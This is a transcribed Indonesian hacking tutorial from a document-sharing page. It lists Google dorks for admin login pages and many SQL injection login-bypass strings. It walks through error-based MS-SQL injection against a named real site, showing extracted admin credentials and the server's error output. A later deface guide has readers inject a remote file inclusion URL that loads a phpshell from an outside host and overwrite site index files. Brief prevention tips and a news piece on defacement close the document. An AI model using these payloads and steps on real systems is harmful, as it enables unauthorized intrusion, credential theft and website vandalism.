Top Banner
Jebol web dengan SQL Injection SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses ke database yang lebih besar daripada yang seharusnya kita dapatkan, terutama pada script yang tidak memvalidasi input dari user. SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi ternyata masih banyak webmaster yang belum tahu atau tidak peduli akan kelemahan ini. Apa saja yang diperlukan untuk melakukan SQL Injection ? 1. Internet Explorer (wajib) 2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC Anda sendiri) 3. Segelas kopi untuk menghilangkan rasa kantuk (optional) 4. Metallica (optional) OK, langsung saja kita praktekkan, supaya lebih jelas. Pertama bukalah [link] (google pancen oye) untuk mencari script yang terhubung ke database. Masukkan salah satu keyword di bawah ini (lengkap dengan tanda petiknya) : "/admin.asp" "/login.asp" "/logon.asp" "/adminlogin.asp" "/adminlogon.asp" "/admin_login.asp" "/admin_logon.asp" "/admin/admin.asp" "/admin/login.asp" "/admin/logon.asp" "/admin/adminlogin.asp" "/admin/adminlogon.asp" "/admin/admin_login.asp" "/admin/admin_logon.asp"
20

Jebol Web Dengan SQL Injection

Jun 26, 2015

Download

Documents

Joe Lodek
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Jebol Web Dengan SQL Injection

Jebol web dengan SQL Injection

SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses ke database yang lebih besar daripada yang seharusnya kita dapatkan, terutama pada script yang tidak memvalidasi input dari user.

SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi ternyata masih banyak webmaster yang belum tahu atau tidak peduli akan kelemahan ini.

Apa saja yang diperlukan untuk melakukan SQL Injection ? 1. Internet Explorer (wajib) 2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC Anda sendiri) 3. Segelas kopi untuk menghilangkan rasa kantuk (optional) 4. Metallica (optional)

OK, langsung saja kita praktekkan, supaya lebih jelas.

Pertama bukalah [link] (google pancen oye) untuk mencari script yang terhubung ke database. Masukkan salah satu keyword di bawah ini (lengkap dengan tanda petiknya) : "/admin.asp" "/login.asp" "/logon.asp" "/adminlogin.asp" "/adminlogon.asp" "/admin_login.asp" "/admin_logon.asp" "/admin/admin.asp" "/admin/login.asp" "/admin/logon.asp" "/admin/adminlogin.asp" "/admin/adminlogon.asp" "/admin/admin_login.asp" "/admin/admin_logon.asp" "/administrator/admin.asp" "/administrator/login.asp" "/administrator/logon.asp" "root/login.asp" "admin/index.asp"

Anda bisa menambahkan daftarnya berdasarkan kreatifitas Anda sendiri. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name dan password).

Page 2: Jebol Web Dengan SQL Injection

Masukkan kode-kode berikut, User name : ` or `a'='a Password : ` or `a'='a (termasuk tanda petiknya)

Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google. Menurut pengalaman saya, dari sekitar 20 link yang saya coba, ada satu atau dua yang berhasil.

Banyak variasi kode yang mungkin, antara lain : User name : admin Password : ` or `a'='a

Di bawah ini bisa dimasukkan baik ke user name maupun password : ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a

Anda masih bisa memperpanjang daftarnya sesuai kreatifitas Anda.

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan,

Page 3: Jebol Web Dengan SQL Injection

kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

diambil dari tutorial yang tersebar di internet

======================================================= Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko ([email protected])

Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id Ada dua kelemahan di site ini, yaitu: 1. Tabel News 2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box dan memasukkannya lewat alamat URL.

Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin. Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp Langkah pertama untuk menentukan nama tabel dan fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja): ' having 1=1-- jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting). Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection Kemudian akan keluar pesan error: -------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'T_ADMIN.NOMOR' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /sipm/admin/dologin.asp, line 7 -------------------- Keluarlah nama field pertama kita !!!

Page 4: Jebol Web Dengan SQL Injection

Catat nama tabel : T_ADMIN Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda. Kita inject di kotak NIP (password terserah): ' group by T_ADMIN.NOMOR having 1=1-- Akan keluar pesan error: -------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'T_ADMIN.NIP' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /sipm/admin/dologin.asp, line 7 -------------------- Artinya itulah nama tabel dan field kedua kita. Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga : ' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1-- Akan keluar pesan error: -------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'T_ADMIN.PASSWORD' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /sipm/admin/dologin.asp, line 7 -------------------- Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek field terakhir dengan meng-inject: ' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD, T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ ADMIN.EMAIL having 1=1-- (catatan : kalimat harus 1 baris, tidak dipotong) -------------------- - NIP atau Password atau Unit Anda salah !! - -------------------- Sukses !!! Kita berhasil menemukan field terakhir. Daftar kolom (field): T_ADMIN.NOMOR T_ADMIN.NIP

Page 5: Jebol Web Dengan SQL Injection

T_ADMIN.PASSWORD T_ADMIN.NAMA T_ADMIN.KD_RANTING T_ADMIN.ADDRESS T_ADMIN.EMAIL Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN), ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field- field tersebut di atas.

Kita inject di kotak NIP (pass terserah) : ' union select sum(NOMOR) from T_ADMIN-- Arti dari query tersebut adalah : kita coba menerapkan klausa sum sebelum menentukan apakah jumlah kolom-kolom di dua rowsets adalah sejenis. Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah) yang berlaku untuk type kolom numerik, jadi untuk type kolom yang bukan numerik, akan keluar error yang bisa memberitahu kita jenis kolom yang dimaksud. Pesan error : -------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /sipm/admin/dologin.asp, line 7 -------------------- artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject : ' union select sum(NIP) from T_ADMIN-- Akan keluar pesan error : -------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a char data type as an argument. /sipm/admin/dologin.asp, line 7 -------------------- Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang berikutnya dengan jalan mengganti nama_kolom di : ' union select sum(nama_kolom) from T_ADMIN-- dengan kolom yang berikutnya. Kita peroleh 7 type kolom: T_ADMIN.NOMOR => numeric T_ADMIN.NIP => char

Page 6: Jebol Web Dengan SQL Injection

T_ADMIN.PASSWORD => nvarchar T_ADMIN.NAMA => char T_ADMIN.KD_RANTING => char T_ADMIN.ADDRESS => nvarchar T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password, untuk user admin, dengan meng-inject : ' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'-- artinya kita memilih minimum nama user yang lebih besar dari 'a' dan mencoba meng-konvert-nya ke tipe integer. Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih kolom NAMA, dan mengabaikan 6 kolom yang lain. Akan keluar pesan error : -------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'bill ' to a column of data type int. /sipm/admin/dologin.asp, line 7 -------------------- Anda lihat : varchar value 'bill ' 'bill' itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject : ' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = 'bill'-- catatan : harus sebaris (tidak dipotong). Akan keluar error : --------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm@mpusk@u' to a column of data type int. /sipm/admin/dologin.asp, line 7 --------------------- Artinya kita berhasil !!! Kita dapatkan [+] NAMA = bill [+] PASSWORD = m@mpusk@u

Silahkan login ke : www.pln-wilkaltim.co.id/sipm/admin/admin.asp dengan account di atas, sedang nama cabang, silahkan anda isi sendiri dengan cara coba-coba

Page 7: Jebol Web Dengan SQL Injection

Atau kita pakai jalan pintas saja....

Kita inject-kan : ' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA ='bill'-- catatan : harus satu baris. Duarrrrrr.......... Glhodhak............. Langsung masuk ke menu admin. Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita. Pada dasarnya berita di situ adalah isi dari tabel yang lain lagi. Jadi tetep bisa kita inject !!! Bedanya, kita harus memasukkan parameter di alamat URL-nya. Contoh : http://www.pln-wilkaltim.co.id/dari_...&idm=40&idSM=2 ada parameter id dan idSM. Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW).

Kita inject-kan : www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1-- akan keluar pesan error : --------------------------- Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tb_news.NewsId' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /dari_Media.asp, line 58 --------------------------- artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita yang pertama. Ulangi langkah-langkah kita di atas sampai didapatkan : tb_news.NewsId => numeric tb_news.NewsCatId => numeric tb_news.EntryDate => datetime tb_news.Title => nvarchar tb_news.Content => tb_news.FotoLink => tb_news.FotoType => bit data tb_news.review => tb_news.sumber => char tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan anda.

Page 8: Jebol Web Dengan SQL Injection

Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya. Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack oleh Shizoprenic, juga ada di tabel-tabel suatu database, jadi tetep bisa dimasuki dengan cara SQL Injection ini.

************************************************** **** KHUSUS BUAT ADMIN & WEB PROGRAMMER !!! ************************************************** **** Cara pencegahan yang umum digunakan : 1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa di inject dengan perintah yang panjang. 2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation). 3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan. 4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan. 5. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.

Page 9: Jebol Web Dengan SQL Injection
Page 10: Jebol Web Dengan SQL Injection
Page 11: Jebol Web Dengan SQL Injection
Page 12: Jebol Web Dengan SQL Injection
Page 13: Jebol Web Dengan SQL Injection
Page 14: Jebol Web Dengan SQL Injection

Thanks,

Th1R

IP Lu Gw Cek Ya /pmg Sapa Tau Lu ***[email protected] /? <-- Understand What I Mean /?

Klo Emang Bener Ya Ud /heh Welcome In IF /gg

-------------------------------------------------------------------------------- kurei09-04-2007, 11:02 AM wah............ ampe sekarang gua ga bisa ngedeface web,,,, -------------------------------------------------------------------------------- kodoks09-04-2007, 11:15 AM

itu diatas command2 buat server Linux...

kalo Files dan Folder nya PAKE CHMOD 777 bakalan jalan...

tinggal pakein cara yang dikasih tau diatas = BLAH... ANCUR KABEH ITU WEB :))

Mangkanya, sebelum ngedeface / hack web... lo musti tau, Tipe OS, Document Root dll.. biar keliatan gak penting tapi....! -------------------------------------------------------------------------------- zoiz09-04-2007, 11:21 AM

OO..Th0r kok di banned yah disini? Maaf masih baru :)

Regard,

zoiz

-------------------------------------------------------------------------------- vBulletin® v3.8.3, Copyright ©2000-2009, Jelsoft Enterprises Ltd.

CARA DEFACE Ini ada tutorial Cara deface yg praktis

1. Buka www.milw0rm.com

2. klik Search

3. ketik RFI (Remote File Inclusion)

4. Cari Exploit terbaru atau CMS/Aplikasi yang terkenal

5. Buka Google, dan liat Advisor yang kita pilih tersebut

6. * Jika terdapat DORK[kata kunci google] gunakan lah Dork tersebut, * Jika tidak

gunakanlah Judul dari Exploit tersebut

Page 15: Jebol Web Dengan SQL Injection

7. Setelah dapat hasil dari Google, klik kanan Open NewTab[Nah ini untung nya Pake

Firefox, tapi IE versi terbaru sudah bisa Open NewTAB]

8. Buka terus dari List/Daftar2 yang terdapat dari google, hingga kamu rasa penuh

Browsernya

9. Coba satu persatu dari hasil tersebut dengan Exploit Command yang terdapat di

advisor

10. Jika terjadi pesan error, cari Pesan error yang menyatakan kegagalan File Inclusion,

bukan File Not Found.

11. Jika menemukan File Not Found kemungkinan; salah Relative Path dari Site tersebut,

atau memang beda versi, dan kemungkinan lain

12. Jika menemukan pesan error dari File Inclusion, atau Blank Putih tanpa Pesan Error,

13. Ganti command exploit setelah tanda ‘=’[sama dengan] dengan

http://bugs.byethost32.com/php3.txt? [phpshell yang OL/Aktif]

14. Lihat ke Layar, apakah site tersebut berhasil mengeksekusi dan menampilakan

PHPShell r57shell atau hanya Blank Page, dan muncul kembali File Inclusion

15. Jika site berhasil memunculkan r57shell [phpshell] lanjutkan ke pencarian File dan

Direktory yang memilikik full akses atau -rwxrwxrwx / -rw-rw-rw <– untuk file |

drwxrwxrwx / drw-rw-rw <– untuk direktory

16. Jika telah mendapatkan file atau direktory diatas tersebut, kamu bisa mengupload file

index.html versi buatan kamu, atau mengubah index.php or .html dengan versi code

kamu jgn lupa nama manadocoding dikibarkan disana…

17. Setelah merubah file tersebut. Coba kamu lihat di browser sesuai dengan relatife path

yang kamu ubah tadi

Semoga membantu.

Teknik Web Deface dan Cara Pencegahannya Posted by: foruminformatika on: September 30, 2007 •

In:S ecurity •

Comment! Published on http://batampos.co.id/content/view/31768/98/

Beberapa minggu lalu, ketika masalah pemukulan warga negara Indonesia oleh polisi Malaysia, dunia internet

Indonesia ramai oleh kelakuan para hacker merusak tampilan situs-situs yang berdomain Malaysia.

Juga beberapa bulan lalu ketika krisis Ambalat berlangsung, kedua kubu saling serang

web deface.

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat

dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi.

Page 16: Jebol Web Dengan SQL Injection

Defacer website dapat merubah tampilan sebagian atau seluruhnya tergantung kemauan

defacer dan lubang yang bisa dimasuki, namun jika dia sudah putus asa, defacer akan

melakukan denial of servis (DoS) attack yaitu mengirimkan request palsu pada server

yang berlebihan sehingga kerja server lambat dan lama-kelamaan server akan crash dan

down. Untuk dapat melakukan web deface, defacer melakukan beberapa tahap sebagai berikut :

a. Mencari kelemahan pada sistem security, menemukan celah yang dapat dimasuki untuk

melakukan eksplorasi di server target. Dia akan melakukan scanning tentang sistem

operasi, service pack, service yang enable, port yang terbuka, dan lain sebagainya.

Kemudian dianalisa celah mana yang bisa dimasuki.

b. Melakukan penyusupan ke server korban. Teknik ini dia akan menggunakan beberapa

tools, file yang akan disisipkan, file exploit yang dibuat sengaja untuk di-copy-kan.

Setelah berhasil masuk , tangan-tangan defacer bisa mengobok-obok isi server.

Tapi tidak adil kiranya jika hanya sharing tentang teknik deface web. Maka untuk

pengelola situs harus waspada, karena deface bisa jadi bencana yang sangat merepotkan.

Pekerjaan menata ulang dan memperbaiki bagian yang rusak, bukan pekerjaan yang

mudah. Karena itu sebelum situs anda digerayangi seyogyanya melakukan langkah-

langkah preventif sebagai berikut :

1. Rutin melakukan update, upgrade dan patch pada sistem operasi dan aplikasi-aplikasi

yang dipakai.

2. Memeriksa ulang dan memperbaiki konfigurasi pada sistem operasi, web server dan

aplikasi lainnya.

3. Menganalisa kembali service-service yang aktif, matikan jika tidak perlu.

4. Mengatur jadwal untuk melakukan backup data penting, file konfigurasi sistem,

database, sehingga jika sewaktu-waktu terjadi deface, anda tinggal menggunakan data

backup.

5. Melindungi server dengan firewall dan IDS. Kedua tools ini ampuh untuk mengatasi

serangan denial of service(DoS) attack.

6. Selalu memperhatikan hal-hal yang mencurigakan pada server, baca log system

operasi, log web server ataupun log aplikasi.

7. Melakukan vulnerability scanning secara rutin, juga melakukan private security test.

Demikian beberapa trik, baik melakukan deface (meskipun tak secara detail/teknis)

maupun menangkal deface. Semoga website anda aman dari serangan para hacker